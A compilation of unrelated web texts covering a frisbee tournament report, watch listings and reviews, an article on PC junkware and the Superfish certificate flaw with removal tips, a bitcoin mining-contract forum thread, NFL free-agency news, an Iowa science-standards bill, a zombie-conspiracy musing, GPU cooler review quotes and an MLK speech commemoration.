qualifiers.  Black Market, with some excellent throws from their top handlers, could move the disc well in the wind, hucking even against the gusts–and the cutters were close enough downfield to force turnovers. Black Market broke early on before Madcow recaptured to put it back on serve at half with Black Market leading. Madcow turned it over on almost every offensive point and Black Market got their chances; they had several possessions on the goal line but simply couldn’t put them all in.  This game was tied at 8-8, first to 10, with Black Market receiving the disc and going downwind. Yet Madcow again stormed back to avoid the upset, finishing with a strong upwind huck and then another huck on a downwind point to end the game. Down the stretch, Madcow executed better when it mattered.  Around the other pools, Michigan High Five, while seeming to struggle a bit early, took care of business as their athletes showed their prowess in their second halves. The fourth seed Athens Bro Cats also had tight games early before finishing strong; they went undefeated in pool play as well.  Close matches for the top seeds and the windy conditions made some question whether Machine, who was missing Dave Wiseman and Greg Slover for the tournament, would also struggle to put away their competition, but this simply wasn’t the case.  Machine was dominant on Saturday; besides a few long points where they were forced to a battle (which they almost always won), the players looked polished and confident, despite the conditions. They cruised to three victories with only minimal stress and moved on to quarterfinals and bracket play.  Going to Seed  Close calls and close games on Saturday made things exciting for a brief period of time, but in the end, the top four seeds had all gone undefeated and were guaranteed a bye and a free pass to quarterfinals.  The conditions were even windier on Sunday, becoming more variable and cross-wind for the majority of fields. The closest quarterfinal was Bro Cats’ victory over Beachfront Property of Chicago 12-10. Beachfront played strong on the weekend, avenging a Sectionals final loss against Black Market and took the 5th place game over Haymaker and the Select Flight status that came with it. Besides this close quarterfinal, the other top seeds won very comfortably and the top 4 seeds met in the semifinals.  The semifinal was Machine’s best game of the weekend as they continued to prove how well they could move the disc. Even in these windy conditions, they smashed Bro Cats 15-3 and dominated all phases of the game, forcing turnover after turnover.  High Five, using their athleticism, also pulled away early, having a far easier time than Madcow moving the disc on offense and then putting stifling pressure on Madcow on defense. High Five ruled the skies all weekend long and really did live up to their elite athletic reputation. High Five took the semifinal over Madcow 14-7.  The Championship Game  In the 2013 Regional final, High Five put up a tough fight against Machine before coming up short; High Five then went on to lose their game-to-go to Nationals to Madcow.  This rematch, in 2014, was no contest from the beginning. After a Machine-dominated first half, High Five largely traded points from there on out and the game finished 15-10. Machine is once again Regional Champions and is headed back to Nationals.  “It was very, very windy,” said Machine captain Kevin Kelly in a post-game interview. “We took care of business on offense in the first half and got a couple of breaks early that gave us an arm’s length lead, although there were a couple of long points due to the wind. They (High Five) were very good about cleaning up any throws caught up in the wind. They were hustling and making plays.”  “We have a lot of good throwers on both the O-line and the D-line,” said Kelly. “And we were very smart on offense, able to keep the disc on the high-side and stay smart with it, while defensively forcing the disc to some of their players in high-pressure situations on the trap-side.”  Bob Liu, Tom Annen, and Walden Nelson were especially dominant, moving the disc to the break side early and often. Cutters like Goose Helton, Kelly, and A.J. Nelson also came up with big plays. Consistently, sideline spectators were impressed by the throws coming from both the handlers and cutters given the difficult conditions.  Machine likes to mix it up with man and zone, but preferred using smart man matchups to force the disc out of the hands of High Five’s best throwers. After that, the athletes and defense from Chicago clamped down and got turnovers. Helton, especially, was impressive on defense; he was involved in all six breaks (5 assists and 1 goal).  In the end, Machine was just too much to handle and they won the battle.  As has already been written, High Five was the victim of an arguably flawed ranking bid-allocation system, and came up just short of a second trip to Nationals out of the region. After failing to claim the bid they earned last year, High Five watched a trip to Nationals slip away by a few ranking algorithm points. Still, despite the unfortunate circumstances and the knowledge that their season was probably over even before the tournament started, High Five fought admirably and with determination and pride.  Looking Forward  The top spots in the region still belong to Machine, High Five, and Madcow.  Teams like Enigma and Beachfront have shown they have new ceilings of potential and could be squads to watch in the future. Beachfront took the fifth spot, Haymaker 6th, with Enigma and Cleaveland Smokestack following to round out the top eight.  Bro Cats have asserted themselves as a top four squad in the region; their game for third against Madcow was interesting for its implications. Madcow proved they were still the best team in Ohio, but Bro Cats clearly have talent and could be a force moving forward, especially if they draw some of the younger talent in the state to their banner.  Machine may have silenced a few more doubters this weekend. Madison Club’s victory at Heavyweights indicated that Machine might have been vulnerable in windy zone conditions, but they played strategically and confidently and showed they had no problems this weekend. The depth of this team, in particular, is unparalleled in the Midwest.  They should be the second seed going into the National Championships, but that isn’t their focus. “The seeding honestly doesn’t matter,” said Kelly. “We’ve been a variety of seeds over the last few years and we know that’s not what’s important.”  What Machine is more excited about is the competitive lull leading up to Nationals. “This represents three straight practice weekends for us leading up to Nationals,” he explained. “And we haven’t had more than two straight practice weekends all season long.”  The decision to extend the season for Chicago by joining with Wildfire has has lengthened Chicago’s season considerably. This has advantages — in that the team gets more training time and growth/development time — but also increases risk of burnout and injury, so the team added several off-weekends specifically for this purpose.  Now they’ll have almost the entire team healthy and ready to go, working hard to tune up for their biggest competition in possibly the club’s history; Slover should be the only player out of the lineup come October. Other teams will be preparing in similar fashion, many coming back to refocus after a season featuring a World Championship.  Get ready for October.
-Timex Weekender Collection Women’s Watches  Designed to be comfortable and fashionable  Analog face with high contrasts for easy reading  Strap molds to your wrist and is very comfortable  Indiglo night light  Japanese quartz movement  Stainless steel case and bezel  Strap length: 7.5”  Adjustable strap: yes  Buckle clasp  Water resistant up to 30m  Green, Coral, and Bright Green Strap  Nylon strap  Strap width: 16mm  Case diameter: 31mm  Turquoise and Pink Strap  Nylon strap  Strap width: 18mm  Case diameter: 38mm  Metallic Bronze Strap  Genuine leather strap  Strap width: 18mm  Case diameter: 38mm  About Timex  “It takes a licking and keeps on ticking,” ads for the new Timex watch proclaimed. The mechanical wristwatch starred in every commercial. It was frozen in an ice-cube tray and suspended in the chamber of a vacuum cleaner. It cliff-jumped in Acapulco. It attended a batting practice strapped to Mickey Mantle’s bat. An Air Force sergeant volunteered to crash a plane while wearing the watch. By the end of the 1950s, one in three watches sold in the United States was a Timex.  Today, the 150-year-old brand continues to sell high-performance sports and everyday watches around the world. Innovations abound, such as the interchangeable strap—which turns a single watch face into a wardrobe’s worth of accessories—as well as the Indiglo light-up feature. The timepieces appear in the press more regularly than gossip about the queen’s fallen soufflé—with multiple plaudits in GQ, InStyle, and Elle just this year.  For questions pertaining to this deal, click the Ask a Question button below. For post-purchase inquiries, please contact Groupon customer support.  Goods sold by Groupon Goods. View the Groupon Goods FAQ to learn more.
-THE DOWNSIDE of buying a cheap Windows computer these days is the amount of pre-installed junk it comes loaded with. There is no escaping the third-party “craplets” and “junkware” that litter the screen or taskbar—with free offers for this and that, trial versions of anti-virus software, utilities that promise to speed up the machine, others that offer to make internet searching more secure, even tools for removing unwanted junk (so they can add more of their own).  If their nagging pop-up presence were not bad enough, these unwanted applications—often running silently in the background—can harm the host they infect, by cluttering its memory, grabbing crucial processor cycles, clogging data channels and draining the battery. Some even sneakily track the user’s comings and goings on the internet. Their biggest crime, though, is to slow the infected computer to a crawl.  None of this junkware is there for the user’s benefit. It gets installed in the factory strictly to bolster the maker’s bottom line. Being so cut-throat these days, the commodity computer business has the slimmest of margins. The few pennies the maker receives from software firms for installing their dubious offerings on every machine can add up to a tidy sum. Most consumers accept having either to live with the junk, or to go to the trouble of cleaning up—“decrapifying”—the computer as part of the deal for getting such a relative bargain at so reasonable a price.  Some manufacturers sell “clean” versions of their computers for $20 to $30 more. Others offer to decrapify a purchased machine for an additional fee. Microsoft has adopted a different approach. To show its Windows operating system in the best possible light, it offers junk-free “Signature Edition” versions of many popular PCs through its online store. On average, Signature Edition PCs start up 104% faster and can be shut down 35% quicker than equivalent machines stuffed with the usual junk.  Your correspondent recently bought a Signature Edition of the Hewlett-Packard Stream 7 tablet from the Microsoft Store for an unbelievable $79. The sleek, black HP tablet, running Windows 8.1, came with all the usual complement of cameras, radios, sensors and other features, plus a free year’s subscription for Microsoft Office 365 (worth practically as much as the machine itself) and a $25 gift voucher. The bare tablet alone, without any of the extras, was listed at $99 on Hewlett-Packard’s own website. With its uncluttered start screen and clean memory, the little Windows tablet has proved a paragon of good behaviour.  At the other extreme are PC makers like Lenovo, the Chinese firm that acquired IBM’s personal-computer business back in 2005. As the world’s largest PC maker by volume and one of the industry’s most efficient producers, Lenovo does not need to stoop to such money-grubbing antics. Yet, it does—aggressively so. Or did, until a few weeks ago.  That was when researchers found that some of Lenovo’s laptops sold between last September and this January contained a serious security flaw. The source: a preloaded piece of adware called Superfish—a visual search engine that captures images users see online, and then shows them adverts of similar products. Unfortunately, Superfish replaced the security certificates used by websites with a universal and easily cracked one of its own, allowing attackers to steal users’ credit-card details and other personal information.  Superfish swears its software is safe, blaming an Israeli firm called Komodia that supplies the library of security certificates used by Superfish and other adware developers. Researchers have found at least a dozen other pieces of junkware capable of subverting the familiar HTTPS security protocol used by commercial websites to protect their customers. All, apparently, rely on Komodia’s library of security certificates to function. Some even leave a computer vulnerable after the source of the trouble has been removed.  Lenovo has apologised for causing its customers to become susceptible to attack, and has promised not to pre-install the Superfish visual-discovery software again—though it has not exactly sworn off junkware altogether. In future, the firm says it will publish a full list of the software pre-installed on each PC it sells, so users know what to remove or keep. It has also rushed out tools for removing Superfish and its related files, and arranged for the anti-virus makers Symantec, McAfee and Microsoft to do the same.  The whole sorry Superfish affair raises questions about whether stuffing computers (and, increasingly, mobile phones, too) with junkware can cause more trouble than it is worth for makers. Certainly, Microsoft is winning plaudits by offering customers junk-free products at a fair price, while Lenovo faces an uphill struggle to overcome its seriously tarnished reputation. The brand equity of the two firms could not be heading in more opposite directions.  For computer users, the issues are no less significant. Do they wait around for something like Superfish (or its even uglier cousin, PrivDog) to happen? Or do they take preemptive action immediately after acquiring a new machine? There are those who swear by reformatting the hard-drive and reinstalling the operating system from scratch. While this may be overkill, wiping the hard-drive clean will certainly purge a machine of any unwanted junk. But it will also remove all the useful software as well, all of which will then have to be reinstalled after a clean copy of the operating system has been re-loaded and brought uptodate.  There are easier ways of expunging unwanted junk from a new computer. Providing they do not stick their claws in as deep as Superfish, most of the craplets that get pre-installed by PC makers can be removed by simply using the Windows uninstall feature (found in Control Panel>Programs>Uninstall, or by right-clicking an active tile on the start screen). The task can be automated using a free tool called PC Decrapifier, which will recommend what garbage can be safely removed, and what should be left well alone.  Whether run manually or otherwise, simple uninstall programs (including the one built into Windows) can still leave a lot of detritus in the operating system’s registry. While your correspondent is a firm believer in not tinkering with the Windows registry, he has long relied on a free utility called Revo Uninstaller to dig out all the extraneous files, folders and registry items left behind after a program has been uninstalled. So far, Revo has never let him down—unlike some of the “registry cleaners” that promise to speed up a cluttered computer. These should be avoided at all cost.  A word of warning, though: check carefully all the registry items that Revo identifies as debris before giving it the go-ahead to blast them into oblivion. If a registry link contains the actual name of the uninstalled program, then it is a safe bet that it can be checked off for deletion. Those that have no such reference are best left alone. And should the removal process fail for some odd reason, fear not: Revo automatically makes a “restore point” before setting about its business. If necessary, the registry can then be rolled back to a prior condition.  Finally, a tip for those who think their computer may be harbouring the Superfish certificate that caused all the trouble. Open up the PC’s certificate manager (ie, run the Windows program certmgr.msc) and then click on “Trusted root certificate authorities” in the manager’s left-hand panel. Next, double-click “Certificates” in the main panel, and scan the trusted certificates listed. If the entry “Superfish Inc. Visual Discovery” is present, right-click it and delete it forthwith. If it is not there, rest easy until the next shoddily coded craplet causes mayhem. Alternatively, pay the premium for a Mac, or dump Windows and install a free copy of Linux. Either way, users will sleep easier, free from junkware—which, through no fault of Microsoft, continues to plague the world of Windows.
-friedcat  Legendary  Offline  Activity: 848  Merit: 1001  DonatorLegendaryActivity: 848Merit: 1001 AMHash1: Cost-Effective Mining Contract October 24, 2014, 04:20:32 PM #1  In this contract, the hashrate is provided by ASICMiner, the management is provided by  RockMiner, and the platform is provided by HavelockInvestments.  For updates please view  http://www.amhash.com/  The purchasing site is  https://www.havelockinvestments.com/order.php?symbol=AMHASH1  The forum contact ID is amhash. The email contact is  Introduction  AMHash1 is a mining Fund which has 5 Peta-hash per second or (5,000,000 Giga-hashes per second) in total.  The Fund is divided into 5 million (5,000,000) s each of which represents 1Gigahash per second.  The price of each unit is 1.25 mBTC (0.00125 BTC).  The contract starts at 18:00:00 in November 4, 2014(Beijing Time, GMT+8).  The time is based on forum time.  Duration for the IPO:  IPO Starting Time: 18:00:00, October 24, 2014(Beijing Time, GMT+8)  IPO Closing Time: 18:00:00, November 4, 2014(Beijing Time, GMT+8)  Advantages  1. Higher ROI; low cost on both initial price and maintenance fee.  2. Flexible trading; the contract is fully tradable at the secondary market through Havelock Investments trading platform allowing you to exit your position at any time.  3. Guaranteed profit; Compared to others, AMHash1 Fund will pay you dividends based on hashrate equivalent calculation protecting your earnings and shielding you from hardware maintenance cost and risk.  5. It simplifies the ROI estimations by eliminating the factors involved in constructing a mining farm, such as infrastructure cost, shipping time, repairing, electricity bill and labor.  6. 100% real hasharate; The live photos of mining farm and hashrate monitor platform will be provided and fully disclosed.  Payout calculation  Payouts are done daily.  The payout rate before fee substraction is 25 / (difficulty * 4.295) BTC per unit per second.  The fee is 1.89*10^(-8) USD per unit per second. It will be substracted from the pre-fee payout rate. The exchange rate is based on bitstamp 24h average.  The total seconds of each payout is:  1. in the first payout, 3,600 * 24.  2. During normal payouts, the number of seconds during the most recent payout to this payout.  If there is a difficulty change between two payouts, the due payout will be calculated based on two different difficulties and their corresponding time intervals.  If the calculated payout after fee substraction is less than or equal to zero, the contract will be suspended. If the number of subsequent days suspended reaches 10, the contract terminates.  Risk control  1. Before IPO closes, ASICMiner has the right to buy back at the price of IPO price * 100.5%.  2. During the first 45 days after IPO closes, ASICMiner has the right to buy back at the price of (IPO price - total payouts) * 120%. The notification period is 3 days.  3. If the delay of payment happens, all unpaid payments will be accounted separately on daily basis and increase by 0.02% per day(flat rate based on the initial unpaid payment amount, no compound rate) after three days.  AMHash1 is the first of a series of mining contracts.In this contract, the hashrate is provided by ASICMiner, the management is provided byRockMiner, and the platform is provided by HavelockInvestments.For updates please viewThe purchasing site isThe forum contact ID is amhash. The email contact is fund@amhash.com AMHash1 is a mining Fund which has 5 Peta-hash per second or (5,000,000 Giga-hashes per second) in total.The Fund is divided into 5 million (5,000,000) s each of which represents 1Gigahash per second.The price of each unit is 1.25 mBTC (0.00125 BTC).The contract starts at 18:00:00 in November 4, 2014(Beijing Time, GMT+8).The time is based on forum time.Duration for the IPO:IPO Starting Time: 18:00:00, October 24, 2014(Beijing Time, GMT+8)IPO Closing Time: 18:00:00, November 4, 2014(Beijing Time, GMT+8)1. Higher ROI; low cost on both initial price and maintenance fee.2. Flexible trading; the contract is fully tradable at the secondary market through Havelock Investments trading platform allowing you to exit your position at any time.3. Guaranteed profit; Compared to others, AMHash1 Fund will pay you dividends based on hashrate equivalent calculation protecting your earnings and shielding you from hardware maintenance cost and risk.5. It simplifies the ROI estimations by eliminating the factors involved in constructing a mining farm, such as infrastructure cost, shipping time, repairing, electricity bill and labor.6. 100% real hasharate; The live photos of mining farm and hashrate monitor platform will be provided and fully disclosed.Payouts are done daily.The payout rate before fee substraction is 25 / (difficulty * 4.295) BTC per unit per second.The fee is 1.89*10^(-8) USD per unit per second. It will be substracted from the pre-fee payout rate. The exchange rate is based on bitstamp 24h average.The total seconds of each payout is:1. in the first payout, 3,600 * 24.2. During normal payouts, the number of seconds during the most recent payout to this payout.If there is a difficulty change between two payouts, the due payout will be calculated based on two different difficulties and their corresponding time intervals.If the calculated payout after fee substraction is less than or equal to zero, the contract will be suspended. If the number of subsequent days suspended reaches 10, the contract terminates.1. Before IPO closes, ASICMiner has the right to buy back at the price of IPO price * 100.5%.2. During the first 45 days after IPO closes, ASICMiner has the right to buy back at the price of (IPO price - total payouts) * 120%. The notification period is 3 days.3. If the delay of payment happens, all unpaid payments will be accounted separately on daily basis and increase by 0.02% per day(flat rate based on the initial unpaid payment amount, no compound rate) after three days. The ASICMINER Project  https://bitcointalk.org/index.php?topic=99497.0  Elvis Trout  Offline  Activity: 116  Merit: 10  MemberActivity: 116Merit: 10 Re: AMHash1: Cost-Effective Mining Contract October 24, 2014, 05:25:48 PM #5  If the mining rigs were profitable they wouldn't be selling them to you, it's not a charity. Best of luck! As someone who has been burned by mining projects in the past, just want to warn people you will most likely lose money on thisIf the mining rigs were profitable they wouldn't be selling them to you, it's not a charity. Best of luck!  Germican  Offline  Activity: 82  Merit: 10  MemberActivity: 82Merit: 10 Re: AMHash1: Cost-Effective Mining Contract October 24, 2014, 05:36:46 PM #8 Quote from: Elvis Trout on October 24, 2014, 05:25:48 PM  If the mining rigs were profitable they wouldn't be selling them to you, it's not a charity. Best of luck!  As someone who has been burned by mining projects in the past, just want to warn people you will most likely lose money on thisIf the mining rigs were profitable they wouldn't be selling them to you, it's not a charity. Best of luck!  Yes and no. It can be profitable for both as you provide capital upfront that they would have had to wait what ever the contract was to get. This allows faster growth or investment as well as a exact amount of capital for the mining all for the "fee" of the difference between what they raise and what they mine. The investors are taking on the risk of the possibility of not getting the full return however it's possible (and likely if done right) to make a fair profit. But they take on all risk from huge difficulty jumps, legislation making it less profitable, entire company issues such as poor management or hardware failures that they simply can't fix/replace.  All in all yes it's risky and I personally wouldn't invest in it but a reasonable model for the right investor. Yes and no. It can be profitable for both as you provide capital upfront that they would have had to wait what ever the contract was to get. This allows faster growth or investment as well as a exact amount of capital for the mining all for the "fee" of the difference between what they raise and what they mine. The investors are taking on the risk of the possibility of not getting the full return however it's possible (and likely if done right) to make a fair profit. But they take on all risk from huge difficulty jumps, legislation making it less profitable, entire company issues such as poor management or hardware failures that they simply can't fix/replace.All in all yes it's risky and I personally wouldn't invest in it but a reasonable model for the right investor.  Chris_Sabian  Offline  Activity: 896  Merit: 1000  LegendaryActivity: 896Merit: 1000 Re: AMHash1: Cost-Effective Mining Contract October 24, 2014, 09:17:10 PM #9 Quote from: friedcat on October 24, 2014, 04:20:32 PM Risk control  1. Before IPO closes, ASICMiner has the right to buy back at the price of IPO price * 100.5%.  2. During the first 45 days after IPO closes, ASICMiner has the right to buy back at the price of (IPO price - total payouts) * 120%. The notification period is 3 days.  3. If the delay of payment happens, all unpaid payments will be accounted separately on daily basis and increase by 0.02% per day(flat rate based on the initial unpaid payment amount, no compound rate) after three days.  This is very reasonable and fair. Hopefully it won't come to that. This is very reasonable and fair. Hopefully it won't come to that.  chairforce1  Offline  Activity: 317  Merit: 250  Sr. MemberActivity: 317Merit: 250 Re: AMHash1: Cost-Effective Mining Contract October 24, 2014, 11:13:21 PM #14 Quote from: Korbman on October 24, 2014, 11:03:46 PM Quote from: mc_lovin on October 24, 2014, 09:30:04 PM Can I ask why ASICMINER doesn't just point all of the power at existing shareholders? Why launch ANOTHER company? What benefit does this have to actual ASICMINER shareholders?  As a long timer holder of AM1 and AM100 on Havelock, what benefit, specifically, would this new asset bring to us?  As a long timer holder of AM1 and AM100 on Havelock, what benefit, specifically, would this new asset bring to us?  I believe this is just an efficient way of selling hardware. AM can provide better mining conditions than others can. No shipping is needed, no worrying with sending units back and the mining process would be easier for the buyer.  AM is selling 5PH worth of mining equipment, just like friedcat wanted to, and it is being sold in bulk and immediately.  Who knows how it will turn out. I believe this is just an efficient way of selling hardware. AM can provide better mining conditions than others can. No shipping is needed, no worrying with sending units back and the mining process would be easier for the buyer.AM is selling 5PH worth of mining equipment, just like friedcat wanted to, and it is being sold in bulk and immediately.Who knows how it will turn out. Death is nothing to us, since when we are, death has not come, and when death has come, we are not. #yolo  -Epicuru $
-After presenting the wrist-worn No. 16 atomic clock watch about a year ago, Richard Hoptroff is back with the Hoptroff No. 1, No. 2, and No. 3 atomic wrist watches that he claims are now “wearable.” What I am actually spending the most time thinking about is how the Number 16 watch came before numbers 1, 2, and 3. But perhaps, that is for a different time. Right now, the focus is on these three new timepieces that contain what Hoptroff claims are the latest in small-sized atomic clock technology.  So what does wearable mean? The Hoptroff No. 16 was almost 84mm wide and looked like two watches welded to one another side-by-side. The Hoptroff No. 1, 2, and 3 atomic watches have a more traditional rectangular case that is clearly shaped as such to contain the electronics inside. The case is available in rhodium-plated brass or 18k yellow gold for each of the watches and is 52mm wide by 42mm tall and rather chunky at 19.5mm thick. Even though these are still quite large measurements, in his typical retro-style, Hoptroff tried to make these interesting and very modern watches look classic. Thank you, British watch designers!  The real difference between the three models is what indicators the dials have. The watches all contain the same small-sized battery-powered atomic clocks but feature varying amounts of indicators on the dial. You’ll pay significantly more for things like “atomic state” as well as the date. The “atomic state” indicator is a $2,600 option. Then again, it is likely worth it to those who are interested in this type of watch to begin with, so that you’ll know if the atomic oven is on or if the microwave resonator is locked.  What type of accuracy are we talking about? Well, consider that in full power mode, the watches are accurate to one second each 1,000 years. Yup, not too shabby. In lower power mode, you are down to a dangerously inaccurate 10 seconds of deviation per 1,000 years. Why even bother with this mode though? It is practically useful for all but the most leisurely of time tracking needs. At least you get three full months of battery life in low power mode – and the watches are USB rechargeable.  Hoptroff thankfully doesn’t ask too much of a premium for the watches in gold, but I am wondering why steel wasn’t an option? That just means he didn’t bother using machines that could cut steel as opposed to brass and gold that are much softer. Nevertheless, these are cool watches and I would easily wear one. Unfortunately these aren’t priced to move, but we are seeing genuine innovation in the atomic clock wrist watch segment and Hoptroff is one of the only ones pushing ahead. Price for the Hoptroff No. 1, 2, and 3 atomic watches starts at $15,400 and goes up to $26,500 (without the VAT). See the full price list after the tech specs below. hoptroff.com  No.1, No. 2, and No. 3 Watch Tech Specs from Hoptroff  – No.1 – Hours, minutes, seconds  – No.2 – Hours, minutes, seconds, atomic state  – No.3 – Hours, minutes, seconds, atomic state, date  – Atomic state indications: Power remaining, Oven on, Oven equilibrium, Laser striking, Laser stable, Microwave resonator on, Microwave resonator locked, Atomic timing locked  – Top pusher: Bluetooth activation  – Bottom pusher: Manual activation of atomic physics unit  – Upper pyramids: Atomic mode indication  – Time setting from NTP: ~30ms accuracy  – Battery life: Est. 3 months in low power mode between USB recharges  – Accuracy: 1.5 seconds per thousand years  – Low power accuracy: Est. 10 seconds per thousand years  – Waterproofing: Splashproof  – Dimensions: 52mm x 42mm x 19.5mm  Price  No.1 – Rhodium brass (pictured) – £12,000 incl EU VAT / $15,400 outside the EU  No.1 – Gold – £18,000 incl EU VAT / $23,100 outside the EU  No.2 – Rhodium brass (pictured) – £14,000 incl EU VAT / $18,000 outside the EU  No.2 – Gold – £20,000 incl EU VAT / $25,700 outside the EU  No.3 – Rhodium brass (pictured) – £15,000 incl EU VAT / $19,250 outside the EU  No.3 – Gold – £21,000 incl EU VAT / $26,950 outside the EU
-Several receiving options remain available on the free-agent market and one big name, the Carolina Panthers' Steve Smith, could become available soon. There are a number of veteran offensive linemen who are still unsigned, while the market at safety and middle linebacker — two positions of need for the Ravens — continues to thin out.  However, in Day 2 of free agency, the Ravens focused on taking care of their own. After officially signing Eugene Monroe and declaring him their left tackle “for many years to come,” the Ravens struck a four-year deal with Jacoby Jones, keeping one of the heroes of the team’s run to the Super Bowl XLVII title in the organization.  The deal for Jones, a proven deep threat and one of the game’s fastest returners, has a maximum value of $14 million if he hits all his incentive clauses, sources said. It also includes $4.5 million in guaranteed money and a $2 million incentive clause based on number of catches.  Jones had spent part of the day visiting with New York Giants officials before his agent hammered out the deal with the Ravens, who place a high value on the 29-year-old’s speed and play-making ability. Jones has 10 touchdowns in two seasons with the Ravens.  Ravens head coach John Harbaugh maintained all along that the team would be aggressive in trying to re-sign its free agents and the organization’s three biggest offseason roster moves so far have been contract extensions for Monroe, Jones and tight end Dennis Pitta.  “To build from Dennis and Eugene now as our first two guys that we signed, two guys on our own team are really lynchpin-type guys for us on offense is really important,” Harbaugh said before the Jones deal was announced. Jones will sign his new contract Thursday.  The Ravens, who watched defensive tackle Arthur Jones sign with the Indianapolis Colts on Tuesday, lost another key defensive player Wednesday as cornerback Corey Graham signed a four-year deal with his hometown team, the Buffalo Bills, that could be worth as much as $20 million.  The Ravens had interest in re-signing Graham, viewing him as an ideal No.3 corner behind Lardarius Webb and Jimmy Smith, and an experienced option in the slot. Graham had a team-leading six interceptions over the past two seasons and was also a standout on special teams. However, the Ravens weren’t able to convince him to return and now they are in the market for another cornerback in either free agency or the draft to compete with holdovers Chykie Brown and Asa Jackson for the No.3 role.  “Early in the free agency process, we identified Corey Graham as a player who would help our football team,” Bills general manager Doug Whaley said in a statement released by the team. “Graham is a smart, physical and tough cornerback who has had success with both the Chicago Bears and Baltimore Ravens. He is a playmaker defensively and on special teams.”  The Ravens valued Jones in a similar manner. Despite missing four games last season after hurting his knee in the season-opening loss to the Denver Broncos, Jones caught 37 balls for 455 yards and two touchdowns. A Pro Bowl-selection in 2012, Jones also remained one of the league’s most dangerous return men, averaging 28.8 yards per kickoff return, plus a touchdown, and 12.5 yards on punt returns.  Jones has four return scores in three seasons with the Ravens, though he’s probably best remembered for his 70-yard touchdown catch on a Joe Flacco heave with 31 seconds remaining to tie the 2012 AFC divisional playoff against the Broncos. Three weeks later, Jones set a Super Bowl record with a 108-yard kickoff return for a touchdown and 290 combined yards and two touchdowns in the Ravens’ 34-31 victory over the San Francisco 49ers.  With new coordinator Gary Kubiak, who coached Jones in Houston, running the offense, the Ravens are hoping to relocate their down-field passing attack, where Jones’ speed is an asset. However, they remain in the market for another possession-type receiver who can work from the slot.
-House File 2054, introduced in the Iowa House of Representatives on January 19, 2016, and referred to the House Committee on Education, would, if enacted, reverse Iowa's decision to adopt the Next Generation Science Standards — and there is reason to believe that part of the motivation is the NGSS's treatment of evolution and climate change.  The lead sponsor of HF 2054 is Sandy Salmon (R-District 63), who in 2015 introduced House File 272, which would have prevented Iowa from adopting the NGSS. She told the Cedar Rapids Gazette (March 2, 2015) that she was "concerned that the standards miss some key math and science concepts, present evolution as scientific fact[,] and shine a negative light on human impacts on climate change." HF 272 died in committee.  The Iowa Board of Education voted unanimously to adopt the Next Generation Science Standards at its August 6, 2015, meeting. HF 2054 would undo that decision, directing the board to adopt the same science standards used during the 2014-2015 school year and requiring further changes to be approved by the legislature and governor.
-The reality-bending popularity and persistence of the zombie craze is interesting, and does lend itself to conspiracy theory pretty nicely. The part that bugs me is that 90% of what zombies do is walk around aimlessly and unarmed not doing very much except looking awful, so if an actual hysteria were to break out over a perceived zombie outbreak, it could lend itself to the massacre of anyone from refugees, to the sick, to the homeless, to rioters, to the slightly dirty or disheveled.  Although I think it is unlikely that the dead will rise from their graves, I could easily imagine the word zombie resulting in dozens or even hundreds of homicides if there were an illness or toxic exposure causing groups of people to become confused or disoriented, even if the victims were not aggressive or dangerous.  The power of a fantasy that takes on a twilight-zoney life of its own the way the zombie things does is great enough that perhaps a conspiracy that was concerned with eventually having to deal with a refugee crisis, disease outbreak, or breakdown in civil order would purposefully encourage the mythology (with things like this FEMA exercise perhaps) so that they could some day use it for their own ends if necessary- and it could be as uncomplicated as FEMA wanting a means whereby they could one day get the uninfected to kill the infected if a pandemic were ever so bad that it was necessary to completely quarantine and/or cull the infected areas of the country.  All that being said, sometimes large organizations try to be cool, and instead you can't tell if it's patronizing or just crazy. Think back to your education and you'll probably understand what I mean. Maybe zombies are just a new Freddy Fish from the government's point of view, and we're all missing the point and afraid that we're actually gonna get smacked in the face with a tuna.
-Legit Reviews We've never seen a 50C load temperature drop by changing the GPU cooler on a video card, so [the Kraken G10 is] very exciting. more..  Pure Overclock We found that NZXT took a great deal of time and manufacturing process to get this item perfect. more..  OverCleX Au final, mérite-t-il de perdre un point ? Je ne pense pas car comme me l'a fait remarquer un collègue, lorsque la carte ne voit pas sa tension modifiée, le refroidissement est parfait comme ce fut le cas avec la R9-290X et de la GTX780 Lightning! more..  Tech Gage NZXT's Kraken G10 might be nothing more than a steel bracket and mounting hardware, but pair it with a compatible AIO CPU water cooler, and you've got the hottest cooling equipment combo ever. more..  Modding.fr NZXT nous a concocté un système simple, nous permettant d'utiliser un AIO sur un GPU et ce sans dépenser une grosse somme! more..  Pro-Clockers The NZXT Kraken G10 is a great release that fills a void in GPU cooling systems. more..  Hi Tech Legion The Kraken G10 brings the potential of significantly better GPU cooling to twenty-seven popular high-end GPUs from both nVidia and AMD. more..  PC Perspective The NZXT G10 allows you to combine what is likely the quietest and coolest option on a GPU that definitely needs it. more..  Overclock3D They say that often the best ideas are the simplest. This is most certainly true of the NZXT Kraken G10. more..  TweakTown They say that often the best ideas are the simplest. This is most certainly true of the NZXT Kraken G10. more..  Anandtech [The Kraken G10] is a product we would highly recommend to anyone who has a proper case and wants better cooling for a high-end graphics card without the cost and complexity of a customized water cooling kit. more..  The Mod Zoo The Kraken G10 / X40 Combo reduced the Max Temps by up to 40%! more..
-“America has brought the nation and the world to an awe-inspiring threshold of the future… And yet we have not learned the simple art of walking the earth as brothers and sisters.”  So said the Rev. Martin Luther King Jr. 50 years ago on the steps of Sproul Hall as the Vietnam War raged and the campus seethed. He spokeon May 17, 1967, before a rapt, sunstruck crowd of more than 7,000, most of them students.  This Saturday, April 29, in tandem with the Summer of Love 50th Anniversary festival, the ASUC will replay a recording of King’s speech in its entirety, and then re-dedicate a historic photograph of him in his namesake building, the Martin Luther King Jr. Student Union.  The event will start on the Sproul Hall steps at 2:15 p.m. with the 75-minute replay of the speech he titled “America’s Chief Moral Dilemma.” The dedication ceremony in the student union will start at 3:30 p.m.  King was invited to speak at Berkeley by the Interfraternity Council. As Dick Beahrs, formerly of the IFC, said of the day: “It was incredibly informal. That was the thing that was wildly striking. There was no security of any kind. We drove in my car. He was very easy to talk to — there was no pretense or preconceptions.”  The crowd came with banners celebrating King and encouraging his run for the presidency. Eighteen years after his speech, the ASUC Student Union’s main building was renamed in his honor, after petitioning by the late Ronnie Stevenson, an early Black Panther Party member, activist, Berkeley alum and staff member.  The photograph of Dr. King was taken by the late Berkeley photographer Helen Nestor, then a Berkeley student. She was allowed close access to King because she used a wheelchair. Nestor said of the event: “It was a warm and special feeling to photograph him… The students were very charged up and very much with Dr. King. It was a special time.”  The portrait was given to the ASUC Student Union by the African American Studies Department in 2002 and found its home in the MLK Jr. Student Union building. The photograph was removed during recent renovations and, after reframing, is making its re-appearance on Saturday.  Dr. King’s speech will be played courtesy of Pacifica Radio Archive.
